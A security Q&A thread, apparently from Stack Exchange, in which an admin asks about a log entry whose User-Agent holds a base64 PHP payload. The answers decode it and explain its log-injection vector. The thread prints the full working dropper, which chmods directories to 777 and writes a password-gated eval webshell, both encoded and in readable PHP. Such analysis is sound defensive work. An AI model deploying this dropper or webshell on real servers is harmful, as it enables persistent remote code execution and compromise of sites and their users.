18

So one of the Invision Power Board installations on my server was recently compromised. I found what seemed to be the attack (using PHP in the query string and carefully crafted cookies), and I blocked URL strings with PHP tags in the query string.

However, the attack signature in my logs from the actual log looks slightly different than the attack signature of my tests. It looks like they are sending PHP in the user agent string. Can anyone help me figure out what this is doing?

Also, would blocking user agent strings with a PHP tag fix this?

93.115.84.154 - - [12/Feb/2013:04:03:23 -0400] "GET / HTTP/1.0" 200 4186 "" "<?php eval(base64_decode(\"QGluaV9zZXQoJ2FsbG93X3VybF9mb3BlbicsIDEpOw0KDQphZGRMb2FkZXIoKTsNCiRkYXRhID0gQG9wZW5kaXIoJy4nKTsNCg0Kd2hpbGUgKCRmaWxlID0gQHJlYWRkaXIoJGRhdGEpKQ0Kew0KCSRmaWxlID0gdHJpbSgkZmlsZSk7DQoJaWYgKCEkZmlsZSB8fCBwcmVnX21hdGNoKCcvXlwuKyQvJywgJGZpbGUpIHx8ICFpc19kaXIoJGZpbGUpKSBjb250aW51ZTsNCglhZGRMb2FkZXIoJGZpbGUpOw0KfQ0KDQpAY2xvc2VkaXIoJGRhdGEpOw0KDQpmdW5jdGlvbiBhZGRMb2FkZXIoJGRpciA9ICcnKQ0Kew0KICAgIGlmICgkZGlyKSAkZGlyIC49ICcvJzsNCiAgICBAY2htb2QoJGRpciwgNzc3KTsNCiAgICBAc3lzdGVtKCJjaG1vZCA3NzcgJGRpciIpOw0KICAgIA0KICAgICRmcCA9IGZvcGVuKCJ7JGRpcn0yZTAzMGJhMzQ4ZWI0Nzg3N2I5OTQ5MzRkNDIwYzQ3NS5waHAiLCAidyIpOyANCiAgICBmd3JpdGUoJGZwLCBiYXNlNjRfZGVjb2RlKCdQRDl3YUhBTkNnMEtRR2x1YVY5elpYUW9KMkZzYkc5M1gzVnliRjltYjNCbGJpY3NJREVwT3cwS1FHbHVhVjl6WlhRb0oyUmxabUYxYkhSZmMyOWphMlYwWDNScGJXVnZkWFFuTENBMk1DazdEUXBBYVc1cFgzTmxkQ2duYldGNFgyVjRaV04xZEdsdmJsOTBhVzFsSnl3Z05qQXBPdzBLUUhObGRGOTBhVzFsWDJ4cGJXbDBLRFl3S1RzTkNnMEtKR1JoZEdFZ1BTQkFkVzV6WlhKcFlXeHBlbVVvWW1GelpUWTBYMlJsWTI5a1pTaDBjbWx0S0VBa1gxQlBVMVJiSjJSaGRHRW5YU2twS1RzTkNnMEthV1lnS0VBaGFYTmZZWEp5WVhrb0pHUmhkR0VwSUh4OElHMWtOU2drWkdGMFlWc25jR0Z6YzNkdmNtUW5YU2tnSVQwZ0oyUXpaR1kwTXpsak0yVTBZakpqTkRFNU1qQmtPR1V5TnpNek1URXpNak0ySnlrZ1pYaHBkRHNOQ21sbUlDaEFKR1JoZEdGYkoyTnZaR1VuWFNrZ1pYWmhiQ2hpWVhObE5qUmZaR1ZqYjJSbEtDUmtZWFJoV3lkamIyUmxKMTBwS1RzTkNtbG1JQ2hBSkdSaGRHRmJKMk5vWldOclgyTnZaR1VuWFNrZ2NISnBiblFnSkdSaGRHRmJKMk5vWldOclgyTnZaR1VuWFRzTkNnMEtQejQ9JykpOw0KCWZjbG9zZSgkZnApOw0KDQoJaWYgKGZpbGVfZXhpc3RzKCJ7JGRpcn0yZTAzMGJhMzQ4ZWI0Nzg3N2I5OTQ5MzRkNDIwYzQ3NS5waHAiKSkNCgl7DQogICAgICAgICRjayA9ICIxODIzNjQ5MzY1ODIwMzU0IjsNCgkgICAgcHJpbnQgIiRjazp7Kn06JGRpcjp7Kn06IjsNCgkJZXhpdDsNCgl9DQp9\")); ?>"

2 Answers2

25

As Thomas pointed out, this attack is designed to exploit poor content handling in log utilities. There are many "log to HTML" engines that simply extract the text of the logs and place them blindly into a HTML template. When the user requests the HTML page from the server, the <?php tags are parsed by the PHP engine and the code is executed. Since many servers allow .html files to be handled by PHP, this has a reasonable chance of working.

Let's take a look at the payload. The block of base64 that you see in that attack string decodes to the following PHP script:

@ini_set('allow_url_fopen', 1);

addLoader();
$data = @opendir('.');

while ($file = @readdir($data))
{
    $file = trim($file);
    if (!$file || preg_match('/^\.+$/', $file) || !is_dir($file)) continue;
    addLoader($file);
}

@closedir($data);

function addLoader($dir = '')
{
    if ($dir) $dir .= '/';
    @chmod($dir, 777);
    @system("chmod 777 $dir");

    $fp = fopen("{$dir}2e030ba348eb47877b994934d420c475.php", "w"); 
    fwrite($fp, base64_decode('PD9waHANCg0KQGluaV9zZXQoJ2FsbG93X3VybF9mb3BlbicsIDEpOw0KQGluaV9zZXQoJ2RlZmF1bHRfc29ja2V0X3RpbWVvdXQnLCA2MCk7DQpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywgNjApOw0KQHNldF90aW1lX2xpbWl0KDYwKTsNCg0KJGRhdGEgPSBAdW5zZXJpYWxpemUoYmFzZTY0X2RlY29kZSh0cmltKEAkX1BPU1RbJ2RhdGEnXSkpKTsNCg0KaWYgKEAhaXNfYXJyYXkoJGRhdGEpIHx8IG1kNSgkZGF0YVsncGFzc3dvcmQnXSkgIT0gJ2QzZGY0MzljM2U0YjJjNDE5MjBkOGUyNzMzMTEzMjM2JykgZXhpdDsNCmlmIChAJGRhdGFbJ2NvZGUnXSkgZXZhbChiYXNlNjRfZGVjb2RlKCRkYXRhWydjb2RlJ10pKTsNCmlmIChAJGRhdGFbJ2NoZWNrX2NvZGUnXSkgcHJpbnQgJGRhdGFbJ2NoZWNrX2NvZGUnXTsNCg0KPz4='));
    fclose($fp);

    if (file_exists("{$dir}2e030ba348eb47877b994934d420c475.php"))
    {
        $ck = "1823649365820354";
        print "$ck:{*}:$dir:{*}:";
        exit;
    }
}

Let's dissect this a bit...

  1. The @ini_set line enables URL handlers in fopen calls, so external resources can be fetched. The @ prefix suppresses any errors that might occur if the call fails.
  2. The call to addLoader() does the main bulk of the work. I'll go into this in a moment.
  3. @opendir('.') obtains a handle to the current directory.
  4. The while loop runs through every sub-directory in the directory, and calls addLoader($file) for each. It uses a regex to skip the . and .. entries. Don't be fooled by the variable name - this does not loop through files.
  5. Finally it calls @closedir($data). Nice of it to clean up!

But what does addLoader do? Essentially it attempts to chmod 777 every directory it can find, then dumps a PHP file called 2e030ba348eb47877b994934d420c475.php into them, with some contents taken from a base64 string. The final block of code seems to be some kind of mechanism to let the attacker identify which paths were successfully written to, perhaps using a magic number for automation. Side note: I can't find any reference to the file name hash online or in any hash database I know of.

Let's dissect that base64:

<?php

@ini_set('allow_url_fopen', 1);
@ini_set('default_socket_timeout', 60);
@ini_set('max_execution_time', 60);
@set_time_limit(60);

$data = @unserialize(base64_decode(trim(@$_POST['data'])));

if (@!is_array($data) || md5($data['password']) != 'd3df439c3e4b2c41920d8e2733113236') exit;
if (@$data['code']) eval(base64_decode($data['code']));
if (@$data['check_code']) print $data['check_code'];

?>

This is simple enough. The first few calls try to set up a permissive environment, where external resources can be loaded and scripts can run for up to 60 seconds. It takes a POST parameter called data and deserialises it into an array, and checks that the password matches a hard-coded MD5 hash. I tried looking up this hash in a few databases, but couldn't find a corresponding plaintext. If the password is correct, it then goes on to check for a code parameter, which it then executes. It also has a check_code option, which is presumably for verifying that the code arrived properly after transport encoding and decoding was performed.

So, all in all, this is a pretty bog-standard PHP shell with a delivery payload that tries to ensure maximum coverage in case of any writeable sub-directory.

Polynomial
  • 132,208
  • 43
  • 298
  • 379
  • So this type of attack -- where things are `POST`ed to a website -- relies on it later being viewed in a web browser? - Meaning I have nothing to worry about if they show up in my own logs? – rm-vanda Sep 01 '14 at 21:56
6

The attacker hopes that you will consult your log files through a Web-based interface which includes the log contents "as is" in some HTML, leading the server to interpret the PHP directive included in the User-Agent by the attacker.

Best thing to do is not to use a vulnerable log-to-html interface which has this particular hole. Blocking & co should be a temporary measure to quickly recover from attacks until the actual bug is fixed, but not having the said bug is much better.

Thomas Pornin
  • 320,799
  • 57
  • 780
  • 949
  • Yeah, I realized after looking through more log files that wasn't a successful attack, a different one was (Which was the exploit that matched my attack signature, so its fixed). – Brandon Wamboldt Mar 04 '13 at 14:32
  • Really? These attacks rely on being viewed in a web browser? And so, if I see this in my own logs as a random `POST` or `GET` - then I really have nothing to worry about? I saw one that tried to `/cgi-pin/php -d allow_random_malisciou_ini_settings = plz` on `GET` while simultaneously `POST`ing some maliscious, base64_encoded crap... so nothing to worry about? – rm-vanda Sep 01 '14 at 21:59